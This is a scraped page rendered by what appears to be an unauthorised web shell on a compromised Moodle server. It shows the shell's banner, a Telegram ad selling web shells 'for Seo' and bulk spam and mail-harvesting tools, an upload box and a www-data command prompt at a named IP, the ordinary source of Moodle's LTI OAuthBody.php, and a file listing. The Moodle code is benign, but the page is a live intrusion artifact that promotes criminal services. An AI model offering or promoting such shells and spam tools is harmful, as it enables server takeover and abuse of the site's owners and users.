__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.154: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.
//
// This file is part of BasicLTI4Moodle
//
// BasicLTI4Moodle is an IMS BasicLTI (Basic Learning Tools for Interoperability)
// consumer for Moodle 1.9 and Moodle 2.0. BasicLTI is a IMS Standard that allows web
// based learning tools to be easily integrated in LMS as native ones. The IMS BasicLTI
// specification is part of the IMS standard Common Cartridge 1.1 Sakai and other main LMS
// are already supporting or going to support BasicLTI. This project Implements the consumer
// for Moodle. Moodle is a Free Open source Learning Management System by Martin Dougiamas.
// BasicLTI4Moodle is a project iniciated and leaded by Ludo(Marc Alier) and Jordi Piguillem
// at the GESSI research group at UPC.
// SimpleLTI consumer for Moodle is an implementation of the early specification of LTI
// by Charles Severance (Dr Chuck) htp://dr-chuck.com , developed by Jordi Piguillem in a
// Google Summer of Code 2008 project co-mentored by Charles Severance and Marc Alier.
//
// BasicLTI4Moodle is copyright 2009 by Marc Alier Forment, Jordi Piguillem and Nikolas Galanis
// of the Universitat Politecnica de Catalunya http://www.upc.edu
// Contact info: Marc Alier Forment granludo @ gmail.com or marc.alier @ upc.edu.

namespace moodle\mod\lti; // Using a namespace as the basicLTI module imports classes with the same names.

defined('MOODLE_INTERNAL') || die;

require_once($CFG->dirroot . '/mod/lti/OAuth.php');
require_once($CFG->dirroot . '/mod/lti/TrivialStore.php');

/**
 *
 * @param int $typeid LTI type ID.
 * @param string[] $scopes  Array of scopes which give permission for the current request.
 *
 * @return string|int|boolean  The OAuth consumer key, the LTI type ID for the validated bearer token,
                               true for requests not requiring a scope, otherwise false.
 */
function get_oauth_key_from_headers($typeid = null, $scopes = null) {
    global $DB;

    $now = time();

    $requestheaders = OAuthUtil::get_headers();

    if (isset($requestheaders['Authorization'])) {
        if (substr($requestheaders['Authorization'], 0, 6) == "OAuth ") {
            $headerparameters = OAuthUtil::split_header($requestheaders['Authorization']);

            return format_string($headerparameters['oauth_consumer_key']);
        } else if (empty($scopes)) {
            return true;
        } else if (substr($requestheaders['Authorization'], 0, 7) == 'Bearer ') {
            $tokenvalue = trim(substr($requestheaders['Authorization'], 7));
            $conditions = array('token' => $tokenvalue);
            if (!empty($typeid)) {
                $conditions['typeid'] = intval($typeid);
            }
            $token = $DB->get_record('lti_access_tokens', $conditions);
            if ($token) {
                // Log token access.
                $DB->set_field('lti_access_tokens', 'lastaccess', $now, array('id' => $token->id));
                $permittedscopes = json_decode($token->scope);
                if ((intval($token->validuntil) > $now) && !empty(array_intersect($scopes, $permittedscopes))) {
                    return intval($token->typeid);
                }
            }
        }
    }
    return false;
}

function handle_oauth_body_post($oauthconsumerkey, $oauthconsumersecret, $body, $requestheaders = null) {

    if ($requestheaders == null) {
        $requestheaders = OAuthUtil::get_headers();
    }

    // Must reject application/x-www-form-urlencoded.
    if (isset($requestheaders['Content-type'])) {
        if ($requestheaders['Content-type'] == 'application/x-www-form-urlencoded' ) {
            throw new OAuthException("OAuth request body signing must not use application/x-www-form-urlencoded");
        }
    }

    if (isset($requestheaders['Authorization']) && (substr($requestheaders['Authorization'], 0, 6) == "OAuth ")) {
        $headerparameters = OAuthUtil::split_header($requestheaders['Authorization']);
        $oauthbodyhash = $headerparameters['oauth_body_hash'];
    }

    if ( ! isset($oauthbodyhash)  ) {
        throw new OAuthException("OAuth request body signing requires oauth_body_hash body");
    }

    // Verify the message signature.
    $store = new TrivialOAuthDataStore();
    $store->add_consumer($oauthconsumerkey, $oauthconsumersecret);

    $server = new OAuthServer($store);

    $method = new OAuthSignatureMethod_HMAC_SHA1();
    $server->add_signature_method($method);
    $request = OAuthRequest::from_request();

    try {
        $server->verify_request($request);
    } catch (\Exception $e) {
        $message = $e->getMessage();
        throw new OAuthException("OAuth signature failed: " . $message);
    }

    $postdata = $body;

    $hash = base64_encode(sha1($postdata, true));

    if ( $hash != $oauthbodyhash ) {
        throw new OAuthException("OAuth oauth_body_hash mismatch");
    }

    return $postdata;
}

Filemanager

Name Type Size Permission Actions
amd Folder 0755
backup Folder 0755
classes Folder 0755
db Folder 0755
lang Folder 0755
pix Folder 0755
service Folder 0755
source Folder 0755
templates Folder 0755
tests Folder 0755
OAuth.php File 29.62 KB 0644
OAuthBody.php File 5.41 KB 0644
TrivialStore.php File 4.87 KB 0644
auth.php File 6.06 KB 0644
certs.php File 1.16 KB 0644
contentitem.php File 2.43 KB 0644
contentitem_return.php File 3.75 KB 0644
coursetooledit.php File 3.23 KB 0644
coursetools.php File 2.18 KB 0644
deprecatedlib.php File 1.1 KB 0644
edit_form.php File 21.81 KB 0644
externalregistrationreturn.php File 2.31 KB 0644
grade.php File 1.36 KB 0644
index.php File 4.46 KB 0644
launch.php File 4.31 KB 0644
lib.php File 25.84 KB 0644
locallib.php File 159.29 KB 0644
mod_form.php File 29.14 KB 0644
openid-configuration.php File 2.66 KB 0644
openid-registration.php File 3.46 KB 0644
register.php File 4.37 KB 0644
register_form.php File 4.33 KB 0644
registersettings.php File 3.15 KB 0644
registration.php File 1.4 KB 0644
registrationreturn.php File 3.47 KB 0644
request_tool.php File 2.57 KB 0644
return.php File 4.63 KB 0644
service.php File 7.34 KB 0644
servicelib.php File 9.89 KB 0644
services.php File 3.01 KB 0644
settings.php File 8.03 KB 0644
startltiadvregistration.php File 2.95 KB 0644
styles.css File 9.38 KB 0644
token.php File 3.42 KB 0644
toolconfigure.php File 2.06 KB 0644
toolproxies.php File 6.37 KB 0644
toolssettings.php File 3.79 KB 0644
typessettings.php File 6.26 KB 0644
upgrade.txt File 4.91 KB 0644
upgradelib.php File 2.08 KB 0644
version.php File 2.58 KB 0644
view.php File 8.5 KB 0644
Filemanager